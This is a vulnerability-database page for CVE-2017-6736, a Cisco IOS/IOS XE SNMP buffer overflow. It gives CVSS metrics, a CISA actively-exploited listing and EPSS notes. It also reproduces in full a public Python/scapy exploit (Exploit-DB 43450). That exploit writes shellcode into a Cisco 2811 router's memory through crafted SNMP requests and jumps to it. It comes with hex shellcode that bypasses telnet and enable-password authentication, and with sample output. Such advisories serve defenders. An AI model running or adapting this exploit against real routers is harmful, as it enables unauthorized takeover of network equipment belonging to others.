CVE-2017-6736 : Detail

CVE-2017-6736

8.8
/
High
Overflow
27.48%V3
Network
2017-07-17
19h00 +00:00
2024-11-15
18h00 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The Simple Network Management Protocol (SNMP) subsystem of Cisco IOS 12.0 through 12.4 and 15.0 through 15.6 and IOS XE 2.2 through 3.17 contains multiple vulnerabilities that could allow an authenticated, remote attacker to remotely execute code on an affected system or cause an affected system to reload. An attacker could exploit these vulnerabilities by sending a crafted SNMP packet to an affected system via IPv4 or IPv6. Only traffic directed to an affected system can be used to exploit these vulnerabilities. The vulnerabilities are due to a buffer overflow condition in the SNMP subsystem of the affected software. The vulnerabilities affect all versions of SNMP: Versions 1, 2c, and 3. To exploit these vulnerabilities via SNMP Version 2c or earlier, the attacker must know the SNMP read-only community string for the affected system. To exploit these vulnerabilities via SNMP Version 3, the attacker must have user credentials for the affected system. All devices that have enabled SNMP and have not explicitly excluded the affected MIBs or OIDs should be considered vulnerable. Cisco Bug IDs: CSCve57697.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 9 AV:N/AC:L/Au:S/C:C/I:C/A:C nvd@nist.gov

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2022-03-02 23h00 +00:00

Action is due : 2022-03-23 23h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 43450

Publication date : 2018-01-04 23h00 +00:00
Author : Artem Kondratenko
EDB Verified : No

#!/usr/bin/env python if False: ''' CVE-2017-6736 / cisco-sa-20170629-snmp Cisco IOS remote code execution =================== This repository contains Proof-Of-Concept code for exploiting remote code execution vulnerability in SNMP service disclosed by Cisco Systems on June 29th 2017 - <https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170629-snmp> Description ------------- RCE exploit code is available for Cisco Integrated Service Router 2811. This exploit is firmware dependent. The latest firmware version is supported: - Cisco IOS Software, 2800 Software (C2800NM-ADVENTERPRISEK9-M), Version 15.1(4)M12a, RELEASE SOFTWARE (fc1) ROM Monitor version: - System Bootstrap, Version 12.4(13r)T, RELEASE SOFTWARE (fc1) Read-only community string is required to trigger the vulnerability. Shellcode ------------ The exploit requires shellcode as HEX input. This repo contains an example shellcode for bypassing authentication in telnet service and in enable prompt. Shellcode to revert changes is also available. If you want to write your own shellcode feel free to do so. Just have two things in mind: - Don't upset the watchdog by running your code for too long. Call a sleep function once in a while. - Return execution flow back to SNMP service at the end. You can use last opcodes from the demo shellcode: ``` 3c1fbfc4 lui $ra, 0xbfc4 37ff89a8 ori $ra, $ra, 0x89a8 03e00008 jr $ra 00000000 nop ``` Usage example ------------- ``` $ sudo python c2800nm-adventerprisek9-mz.151-4.M12a.py 192.168.88.1 public 8fb40250000000003c163e2936d655b026d620000000000002d4a821000000008eb60000000000003c1480003694f000ae96000000000000aea00000000000003c1fbfc437ff89a803e0000800000000 Writing shellcode to 0x8000f000 . Sent 1 packets. 0x8000f0a4: 8fb40250 lw $s4, 0x250($sp) . Sent 1 packets. 0x8000f0a8: 00000000 nop . Sent 1 packets. 0x8000f0ac: 3c163e29 lui $s6, 0x3e29 . Sent 1 packets. 0x8000f0b0: 36d655b0 ori $s6, $s6, 0x55b0 ``` Notes ----------- Firmware verson can be read via snmpget command: ``` $ snmpget -v 2c -c public 192.168.88.1 1.3.6.1.2.1.1.1.0 SNMPv2-MIB::sysDescr.0 = STRING: Cisco IOS Software, 2800 Software (C2800NM-ADVENTERPRISEK9-M), Version 15.1(4)M12a, RELEASE SOFTWARE (fc1) Technical Support: http://www.cisco.com/techsupport Copyright (c) 1986-2016 by Cisco Systems, Inc. Compiled Tue 04-Oct-16 03:37 by prod_rel_team ``` Author ------ Artem Kondratenko https://twitter.com/artkond ## Shellcode 8fb40250000000003c163e2936d655b026d620000000000002d4a821000000008eb60000000000003c1480003694f000ae96000000000000aea00000000000003c1fbfc437ff89a803e0000800000000 ## unset_shellcode 8fb40250000000003c163e2936d655b026d620000000000002d4a821000000003c1480003694f0008e96000000000000aeb60000000000003c1fbfc437ff89a803e0000800000000 ''' from scapy.all import * from time import sleep from struct import pack, unpack import random import argparse import sys from termcolor import colored try: cs = __import__('capstone') except ImportError: pass def bin2oid(buf): return ''.join(['.' + str(unpack('B',x)[0]) for x in buf]) def shift(s, offset): res = pack('>I', unpack('>I', s)[0] + offset) return res alps_oid = '1.3.6.1.4.1.9.9.95.1.3.1.1.7.108.39.84.85.195.249.106.59.210.37.23.42.103.182.75.232.81{0}{1}{2}{3}{4}{5}{6}{7}.14.167.142.47.118.77.96.179.109.211.170.27.243.88.157.50{8}{9}.35.27.203.165.44.25.83.68.39.22.219.77.32.38.6.115{10}{11}.11.187.147.166.116.171.114.126.109.248.144.111.30' shellcode_start = '\x80\x00\xf0\x00' if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument("host", type=str, help="host IP") parser.add_argument("community", type=str, help="community string") parser.add_argument("shellcode", action='store', type=str, help='shellcode to run (in hex)') args = parser.parse_args() sh_buf = args.shellcode.replace(' ','').decode('hex') print 'Writing shellcode to 0x{}'.format(shellcode_start.encode('hex')) if 'capstone' in sys.modules: md = cs.Cs(cs.CS_ARCH_MIPS, cs.CS_MODE_MIPS32 | cs.CS_MODE_BIG_ENDIAN) for k, sh_dword in enumerate([sh_buf[i:i+4] for i in range(0, len(sh_buf), 4)]): s0 = bin2oid(sh_dword) # shellcode dword s1 = bin2oid('\x00\x00\x00\x00') s2 = bin2oid('\xBF\xC5\xB7\xDC') s3 = bin2oid('\x00\x00\x00\x00') s4 = bin2oid('\x00\x00\x00\x00') s5 = bin2oid('\x00\x00\x00\x00') s6 = bin2oid('\x00\x00\x00\x00') ra = bin2oid('\xbf\xc2\x2f\x60') # return control flow jumping over 1 stack frame s0_2 = bin2oid(shift(shellcode_start, k * 4)) ra_2 = bin2oid('\xbf\xc7\x08\x60') s0_3 = bin2oid('\x00\x00\x00\x00') ra_3 = bin2oid('\xBF\xC3\x86\xA0') payload = alps_oid.format(s0, s1, s2, s3, s4, s5, s6, ra, s0_2, ra_2, s0_3, ra_3) send(IP(dst=args.host)/UDP(sport=161,dport=161)/SNMP(community=args.community,PDU=SNMPget(varbindlist=[SNMPvarbind(oid=payload)]))) cur_addr = unpack(">I",shift(shellcode_start, k * 4 + 0xa4))[0] if 'capstone' in sys.modules: for i in md.disasm(sh_dword, cur_addr): color = 'green' print("0x%x:\t%s\t%s\t%s" %(i.address, sh_dword.encode('hex'), colored(i.mnemonic, color), colored(i.op_str, color))) else: print("0x%x:\t%s" %(cur_addr, sh_dword.encode('hex'))) sleep(1) ans = raw_input("Jump to shellcode? [yes]: ") if ans == 'yes': ra = bin2oid(shift(shellcode_start, 0xa4)) # return control flow jumping over 1 stack frame zero = bin2oid('\x00\x00\x00\x00') payload = alps_oid.format(zero, zero, zero, zero, zero, zero, zero, ra, zero, zero, zero, zero) send(IP(dst=args.host)/UDP(sport=161,dport=161)/SNMP(community=args.community,PDU=SNMPget(varbindlist=[SNMPvarbind(oid=payload)]))) print 'Jump taken!'

Products Mentioned

Configuraton 0

Cisco>>Ios >> Version From (including) 12.0 To (including) 12.4

Cisco>>Ios >> Version From (including) 15.0 To (including) 15.6

Cisco>>Ios_xe >> Version From (including) 2.2.0 To (including) 3.17

References

http://www.securityfocus.com/bid/99345
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/43450/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1038808
Tags : vdb-entry, x_refsource_SECTRACK